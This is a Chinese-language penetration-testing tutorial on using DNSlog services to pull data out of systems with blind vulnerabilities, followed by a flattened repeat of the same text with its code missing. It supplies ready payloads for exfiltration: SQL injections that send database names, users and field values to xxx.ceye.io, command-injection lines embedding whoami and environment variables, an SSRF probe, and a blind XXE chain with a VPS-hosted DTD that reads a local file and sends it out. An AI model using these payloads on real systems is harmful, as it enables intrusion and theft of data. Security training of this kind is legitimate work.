如何利用DNSlog进行更高效率的无回显渗透
字数 1764 2025-08-05 08:19:06

利用DNSlog进行高效无回显渗透技术详解

一、DNSlog基础概念

1.1 什么是DNSlog

DNSlog是存储在DNS服务器上的域名访问信息日志,记录用户对域名的访问情况。当用户访问一个域名时,DNS服务器会记录下这个解析请求,包括请求的域名和时间等信息。

1.2 DNSlog工具平台

1.2.1 自建平台

  • 使用BugScan团队开源工具搭建:https://github.com/BugScanTeam/DNSLog
  • 需要自有服务器和域名

1.2.2 在线平台

  • http://ceye.io
  • http://www.dnslog.cn

1.3 DNSlog平台使用方法

1.3.1 www.dnslog.cn使用

  1. 点击"Get SubDomain"获取子域名
  2. 访问获取的子域名
  3. 在"Refresh Record"中查看DNS解析记录

注意:DNS缓存机制可能导致重复访问同一域名不会产生新记录,解决方法是在域名前添加随机前缀(如1.xxx.dnslog.cn)

1.3.2 ceye.io使用

  1. 登录后获取唯一的三级域名(如xxx.ceye.io)
  2. 访问*.xxx.ceye.io的任何子域名
  3. 在"Records"→"DNS Query"中查看解析记录

二、DNSlog回显原理

DNSlog利用多级域名解析过程实现信息回显:

  1. 构造包含敏感信息的子域名(如data.xxx.ceye.io
  2. 目标服务器解析该域名时,DNS服务器会记录解析请求
  3. 通过查看DNSlog获取回显的敏感信息

示例

ping %USERNAME%.xxx.ceye.io

系统会先解析%USERNAME%变量,然后拼接域名进行解析,DNSlog中会记录包含用户名信息的解析请求。

三、DNSlog渗透应用场景

3.1 SQL盲注

3.1.1 适用条件

  • 布尔盲注/时间盲注效率低
  • 目标站点无回显
  • MySQL需要root权限(load_file函数)
  • secure_file_priv设置为空(可读取任意文件)
  • 仅适用于Windows系统(需要UNC路径支持)

3.1.2 UNC路径说明

UNC路径格式:\\server\share\file
在SQL注入中需要使用四个反斜杠转义:\\\\

3.1.3 常用Payload

当前库名

and (select load_file(concat('//',(select database()),'.xxx.ceye.io/a')))

用户名(hex编码防特殊字符)

and (select load_file(concat('//',(select hex(user())),'.xxx.ceye.io/a')))

表名

and (select load_file(concat('//',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'.xxx.ceye.io/a')))

列名

and (select load_file(concat('//',(select column_name from information_schema.columns where table_name='admin' limit 1,1),'.xxx.ceye.io/a')))

字段值

and (select load_file(concat('//',(select username from admin limit 0,1),'.xxx.ceye.io/a')))

3.2 XSS盲打

3.2.1 利用方式

构造XSS payload让受害者浏览器访问DNSlog域名,通过查看DNS记录确认XSS存在。

3.2.2 示例Payload


3.3 无回显命令执行

3.3.1 Windows系统

ping %OS%.xxx.ceye.io

常用Windows环境变量

  • %USERNAME% - 当前用户名
  • %COMPUTERNAME% - 计算机名
  • %OS% - 操作系统类型
  • %PROCESSOR_ARCHITECTURE% - 处理器架构
  • %SYSTEMROOT% - 系统目录

3.3.2 Linux系统

curl `whoami`.xxx.ceye.io
# 或
ping $(id -u).xxx.ceye.io

3.4 无回显SSRF

3.4.1 探测方法

构造SSRF请求访问DNSlog域名:

/?url=http://xxx.ceye.io

查看DNSlog是否有解析记录判断是否存在SSRF漏洞。

3.5 无回显XXE(Blind XXE)

3.5.1 漏洞验证

<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE a [
<!ENTITY xi SYSTEM "http://xxx.ceye.io">
]>
<reset><login>&xi;</login><secret>Any bugs?</secret></reset>

3.5.2 文件读取

需要VPS服务器配合:

  1. 在VPS上创建a.dtd文件:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///c:/windows/blind.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://vps-ip:6666/%file;'>">
  1. 在VPS上启动web服务:
python -m http.server 11111
  1. 提交Payload:
<?xml version="1.0" encoding="gb2312"?>
<!DOCTYPE root [
<!ENTITY % xxe SYSTEM "http://vps-ip:11111/a.dtd">
%xxe;%int;%send; ]
  1. 在VPS上监听6666端口接收数据

四、注意事项

  1. DNS缓存问题:相同域名多次请求可能只记录一次,解决方法是在域名前添加随机前缀
  2. 特殊字符处理:对不确定内容先进行hex编码
  3. MySQL的load_file函数限制:需要文件完整路径、文件可读、不超过max_allowed_packet
  4. Windows与Linux区别:DNSlog注入主要适用于Windows(需要UNC路径)
  5. 合法合规:所有测试应在授权范围内进行

五、总结

DNSlog技术为无回显漏洞的利用提供了高效解决方案,特别是在SQL盲注、XSS盲打、命令执行、SSRF和Blind XXE等场景中表现出色。通过合理构造DNS请求,渗透测试人员可以绕过传统无回显限制,获取关键系统信息。掌握DNSlog技术将显著提升渗透测试效率,是安全研究人员必备的高级技巧之一。

利用DNSlog进行高效无回显渗透技术详解 一、DNSlog基础概念 1.1 什么是DNSlog DNSlog是存储在DNS服务器上的域名访问信息日志,记录用户对域名的访问情况。当用户访问一个域名时,DNS服务器会记录下这个解析请求,包括请求的域名和时间等信息。 1.2 DNSlog工具平台 1.2.1 自建平台 使用BugScan团队开源工具搭建:https://github.com/BugScanTeam/DNSLog 需要自有服务器和域名 1.2.2 在线平台 http://ceye.io http://www.dnslog.cn 1.3 DNSlog平台使用方法 1.3.1 www.dnslog.cn使用 点击"Get SubDomain"获取子域名 访问获取的子域名 在"Refresh Record"中查看DNS解析记录 注意 :DNS缓存机制可能导致重复访问同一域名不会产生新记录,解决方法是在域名前添加随机前缀(如1.xxx.dnslog.cn) 1.3.2 ceye.io使用 登录后获取唯一的三级域名(如xxx.ceye.io) 访问* .xxx.ceye.io的任何子域名 在"Records"→"DNS Query"中查看解析记录 二、DNSlog回显原理 DNSlog利用多级域名解析过程实现信息回显: 构造包含敏感信息的子域名(如 data.xxx.ceye.io ) 目标服务器解析该域名时,DNS服务器会记录解析请求 通过查看DNSlog获取回显的敏感信息 示例 : 系统会先解析%USERNAME%变量,然后拼接域名进行解析,DNSlog中会记录包含用户名信息的解析请求。 三、DNSlog渗透应用场景 3.1 SQL盲注 3.1.1 适用条件 布尔盲注/时间盲注效率低 目标站点无回显 MySQL需要root权限(load_ file函数) secure_ file_ priv设置为空(可读取任意文件) 仅适用于Windows系统(需要UNC路径支持) 3.1.2 UNC路径说明 UNC路径格式: \\server\share\file 在SQL注入中需要使用四个反斜杠转义: \\\\ 3.1.3 常用Payload 当前库名 : 用户名(hex编码防特殊字符) : 表名 : 列名 : 字段值 : 3.2 XSS盲打 3.2.1 利用方式 构造XSS payload让受害者浏览器访问DNSlog域名,通过查看DNS记录确认XSS存在。 3.2.2 示例Payload 3.3 无回显命令执行 3.3.1 Windows系统 常用Windows环境变量 : %USERNAME% - 当前用户名 %COMPUTERNAME% - 计算机名 %OS% - 操作系统类型 %PROCESSOR_ ARCHITECTURE% - 处理器架构 %SYSTEMROOT% - 系统目录 3.3.2 Linux系统 3.4 无回显SSRF 3.4.1 探测方法 构造SSRF请求访问DNSlog域名: 查看DNSlog是否有解析记录判断是否存在SSRF漏洞。 3.5 无回显XXE(Blind XXE) 3.5.1 漏洞验证 3.5.2 文件读取 需要VPS服务器配合: 在VPS上创建a.dtd文件: 在VPS上启动web服务: 提交Payload: 在VPS上监听6666端口接收数据 四、注意事项 DNS缓存问题:相同域名多次请求可能只记录一次,解决方法是在域名前添加随机前缀 特殊字符处理:对不确定内容先进行hex编码 MySQL的load_ file函数限制:需要文件完整路径、文件可读、不超过max_ allowed_ packet Windows与Linux区别:DNSlog注入主要适用于Windows(需要UNC路径) 合法合规:所有测试应在授权范围内进行 五、总结 DNSlog技术为无回显漏洞的利用提供了高效解决方案,特别是在SQL盲注、XSS盲打、命令执行、SSRF和Blind XXE等场景中表现出色。通过合理构造DNS请求,渗透测试人员可以绕过传统无回显限制,获取关键系统信息。掌握DNSlog技术将显著提升渗透测试效率,是安全研究人员必备的高级技巧之一。